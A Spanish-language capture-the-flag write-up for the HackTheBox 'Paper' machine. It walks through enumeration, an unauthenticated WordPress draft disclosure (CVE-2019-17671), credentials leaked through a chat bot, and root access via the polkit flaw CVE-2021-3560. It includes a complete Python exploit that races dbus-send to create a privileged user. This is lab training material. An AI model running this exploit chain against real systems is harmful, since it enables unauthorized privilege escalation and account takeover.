Home Hackthebox Writeup Paper
Post
Cancel

Hackthebox Writeup Paper

Empezando con la enumeración encontramos servicios web en Wordpress con un hostanme oculto en la cabezera X-Backend-Server. Luego encontramos una vulnerabilidad en la versión actual de Wordpress que nos permite ver un Draft del sitio (CVE-2019-17671) y encontrar un nuevo dominio. En esta web encontramos un bot que nos permite listar directorios y archivos, con ello conseguimos una credenciales para entrar por SSH. Para la escalada usamos Linpeas y encontramos que la version de Sudo nos permite crear un usuario con privilegios (CVE-2021-3560), logearnos y ser root.


Ppaer

OSIPRelease DateDifficultyPoints
Linux10.10.11.1435 Feb 2022Easy20

Antes de empezar es importante verificar que estamos conectados a la VPN de HackTheBox y tenemos conexión con la máquina, para ello usamos el comando ping:

Ping

Observamos que enviamos un paquete _1 packets transmitted_ y lo recibimos _1 received_, lo cuál significa que tenemos una conexión exitosa

Enumeration


Empezamos enumerando los puertos TCP que están abiertos en la máquina víctima, para ello usamos la herramienta nmap:

Nmap

Explicación de parámetros :

-p- : Escanear todos los puertos, del 1 al 65,535

--open : Escanear solo puertos abiertos

-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo

--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo

-v : Imprimir información del proceso del escaneo

-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)

-oG <file> : Guardar output en un archivo (<file>) de formato grepable

Observamos que tenemos abierto el puerto 22 (ssh), 80 (http) y 443 (https), con esta información volvemos a realizar un escaneo pero a estos 3 puertos en específico:

Target

Explicación de parámetros :

-p<port_1,port_2,...> : Indicamos que puertos queremos escanear

-sC : Ejecutar en los puertos scripts por defecto de nmap

-sV : Activar detección de versiones de los servicios que corren por los puertos

-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap

Como no disponemos de credenciales válidas omitiremos toquetear el puerto 22, pero lo que si tenemos son dos servicios web (http, https), así que procedemos a ejecutar un whatweb a cada una de ellas y en paralelo las abrimos en el navegador para ver su contenido

Encontramos está página en los dos servicios, la cuál es una página de prueba tras instalar el servidor web:

Web

Por la otra parte encontramos algo interesante:

WhatWeb

Como vemos arriba, en el output para el servicio http observamos un posible nombre de dominio office.paper, pero para estar mas seguros averiguamos de que va el campo X-Backend usando el parámetro -v de whatweb que nos pemite ver más información:

WhatWeb_XBackend

Al parecer se trata de un plugin que extrae información de ciertos headers, y como obervamos en los HTTP HEADERS, disponemos del header X-Backend_Server, pero que significa excactamente?

XBackend

Entonces encontramos un nombre de dominio office.paper de la máquina, pero al ejecutarle un ping o curl nos sale que es un servicio desconocido. Para estos casos llegamos a la conclusión que se está aplicando Virtual Hosting, y para tener una conexión debemos agregar office.paper a nuestro archivo /etc/hosts: echo "10.10.11.143 office.paper" >> /etc/hosts

Con estos pasos ya tendremos acceso al servicio web:

WebPage

Ya en la página, encontramos algo interesante sobre un post que menciona que un usuario publicó información confidencial en un borrador reciente, lo cuál puede ser una brecha vulnerable

Al igual que antes podemos extraer información del servicio web, lo haremos, pero está vez con la extensión del navegador wappalyzer. Podemos observar que se usa el gestor de contenido WordPress 5.2.3, y que por defecto poseen la ruta wp-login.php para poder logearse. En caso de que nos sepan eso, al momento de toquetear la página encontraran un enlace a esto mismo:

WordPress

De primeras intentamos examinar la paǵina para ver el código fuente ctrl + u y observamos un posible LFI al momento de pinchar en el enlace Lost your password?. Además en al dirigirnos a la ruta wp-admin podemos observar en el URL una redirección y posible RCE, pero ninguna de estas 2 opciones funcionará para el acceso

Foothold


Buscando vulnerabilidades de la versión encontramos la adecuada para poder ver borradores privados sin estar autenticados (CVE-2019-17671). La vulnerabilidad consiste en asignar al parametro static un valor a 1 static=1, lo cuál permitira desviar un condicional y nos permitira ver el siguiente draft:

Draft

En el siguiente enlace encontramos la explicación de la vulnerabilidad a detalle: https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

Observamos una URL de un Sistema de chat para empleados, la cúal es un subdominio y se aplica Virtual Hosting, entonces la agregamos a nuetro archivo /etc/hosts: echo "10.10.11.143 chat.office.paper" >> /etc/hosts:

RocketRegister

Procedemos a registrarnos y luego dentro del sistema de chat encontramos un chat general y mirando los mensajes antiguos encontramos que existe un bot llamado recyclops con el cuál puedes interactuar:

BotInfo

Procedemos a buscar al bot y escribimos help para que despliege un panel de ayuda y veamos de que manera podemos interactuar. Al parecer podemos listar directorios y archivos, así que empezamos a buscar y buscar, una cosa nos llevó a la otra y encontramos unas credenciales:

Credentials

Para llegar al archivo :

  1. Primero fuimos a la raíz y listando encontramos un script bot_restart.sh que valida la ejecución del bot y lo resetea

  2. Leyendo el código encontramos que ejecuta el script start_bot.sh y para verlo nos dirigimos a él

  3. Leyendo el código vemos que ejecuta con source el contenido del archivo .env y luego el binario hubot

  4. Revisamos que ejecuta en el .env y sorpresa!

Este archivo .env, como menciona su nombre, sirve para asignar variables de entorno para la elaboración de un proyecto

Recordamos que el puerto 22 (ssh) está abierto y que en este chat nos encontrabamos como el usuario dwight (lo sabemos si miramos el archivo /etc/passwd con el bot), entonces usando la contraseña nos logeamos y pa-dentro:

Foothold

Privilege Escalation


Ya dentro como el usuario dwight solo nos queda escalar privilegios a root entonces hacemos una ejecución básica de comandos para listar binarios que podemos ejecutar como SUDO sudo -l o que tengan el permiso SUID find / -perm -4000 2>/dev/null:

SUDO-SUID

Lamentablemente no logramos nada, así que recurrimos a la herramienta LinPEAS que nos permite buscar diferentes rutas a explotar y poder escalar privilegios en el sistema. Una vez instalado lo pasamos a la máquina víctima con nc:

NcTransferLin

Ahora solo le damos permisos de ejecución chmod +x linpeas.sh, ejecutamos ./linpeas.sh y de primeras encontramos una vulnerabilidad para sudo 1.8.29:

CVELinPEAS

Esta vulnerabilidad CVE-2021-3560 se basa en el servicio polkit, el cuál se encarga de gestionar la autorización entre los procesos sin privilegios hacia los privilegiados.

Para la explotación hice un script en python que nos proporcionará las credenciales del usuario con privilegios:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python3

import sys, signal, time, subprocess, shlex, random, pdb, os, pwd

# colors
def inRed(s): print("\033[91m {}\033[00m" .format(s), end="")
def inGreen(s): print("\033[92m {}\033[00m" .format(s), end="")
def inYellow(s): print("\033[93m {}\033[00m" .format(s), end="")
def inMagenta(s): print("\033[95m {}\033[00m" .format(s), end="")

# ctrl + c
def signal_handler(signum, frame):
    inRed("\n[!] Exiting..."); sys.exit()

signal.signal(signal.SIGINT, signal_handler)

# create user
def createUser(default_user):
    time.sleep(2)
    exit_user, counter = False, 0
    inYellow("\n[+] Trying to create default user...\n\n")
    while not exit_user:
        # start and kill the process until the user is created
        time.sleep(0.5)
        inYellow("\t[-] Attempt"); inRed(f"{counter}\n")
        counter += 1
        process = subprocess.Popen(shlex.split(f'dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:{default_user} string:"creating user" int32:1'), stderr=subprocess.DEVNULL)
        try:
            rand = random.uniform(0.006, 0.009)
            process.wait(timeout=rand)
            process.kill()
        except subprocess.TimeoutExpired:
                process.kill()
        
        # validate user creation
        user = subprocess.run(shlex.split(f'id {default_user}'), stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout.decode('utf-8')
        if user.find("uid") != -1:
            inYellow("\n\t[*] User created:"); inMagenta(f"{default_user}")
            inYellow("\n\t[*] Time out at:"); inGreen(str(rand) + "\n")
            exist_user = True
            break
        if counter - 1 > 100:
            inRed("\n[-] Error creating user!"); sys.exit()

# assing password
def assignPasswd(default_user, default_password):
    time.sleep(2)
    inYellow("\n[+] Assigning password to user"); inMagenta(f"{default_user}\n")
    for i in range(200):
        # start and kill the process until the password is created
        # extract UID from user
        uid = "/org/freedesktop/Accounts/User" + str(pwd.getpwnam(f"{default_user}").pw_uid)
        # Create password in SHA-512 format
        hash_passwd = subprocess.run(shlex.split(f'openssl passwd -5 {default_password}'), stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout.decode('utf-8')
        passwd = f"string:{hash_passwd.rstrip()}"
        # Assign password to user
        process = subprocess.Popen(shlex.split(f'dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply {uid} org.freedesktop.Accounts.User.SetPassword {passwd} string:"assign user passsword"'), stderr=subprocess.DEVNULL)
        try:
            rand = random.uniform(0.006, 0.009)
            process.wait(timeout=rand)
            process.kill()
        except subprocess.TimeoutExpired:
            process.kill()
    time.sleep(0.5)
    inYellow("\n\t[*] Registered password")
    inYellow("\n\t[*] Time out at:"); inGreen(str(rand) + "\n")

# get credentials sudo
def getCredentials(default_user, default_passwd):
    time.sleep(2)
    inYellow("\n[+] Exploit Completed, log in to be root:\n\n")
    time.sleep(0.5)
    inYellow("\t[*] User :"); inGreen(f"{default_user}\n")
    inYellow("\t[*] Password:"); inGreen(f"{default_passwd}\n\n")

# process
def run():
    default_user = 'marss'
    default_password = 'marss###'
    createUser(default_user)
    assignPasswd(default_user, default_password)
    getCredentials(default_user, default_password)

# main
if __name__ == '__main__':
    run()
    time.sleep(2)

# References
#------------------------------------------------------------------------------------
# https://github.com/innxrmxst/CVE-2021-3560/blob/main/ex.py
# https://www.hackplayers.com/2021/06/escalado-de-privilegios-mediante-polkit.html

Pueden clonar el script en mi repositorio: https://github.com/E1P0TR0

Una vez descargado solo tenemos que pasarla a la máquina víctima al igual que pasamos el LinPEAS

El script consiste en que la herramienta dbus-send se encagará de crear un usuario por defecto marss y antes de que esa petición sea autorizada por el servicio polkit (verificando que el UID del proceso sea 0 -> root), mataremos el proceso kill y repetiremos esta secuencia hasta que polkit al recibir una petición que ya no existe, entre en conflicto y envés de rechazar la petición, logre aceptar el proceso con un UID = 0 y se cree el usuario con privilegios. Luego de ello repetiremos el proceso para asignarle una contraseña válida al usuario y ya poder logearnos:

CVE-2021-3560

Logramos ver la credenciales, ahora solo nos logeamos con su marss, escribimos la contraseña marss###, nos volvemos root con sudo su y pa-dentro:

Root

Importante!

Que nos permite volvernos root?

La respuesta está en el grupo wheel al cúal pertencemos depues explotar la vulnerabilidad

Y… qué es el grupo Wheel?

Pues los miembros que pertenecen a este grupo tienen automáticamente privilegios sudo


This post is licensed under CC BY 4.0 by the author.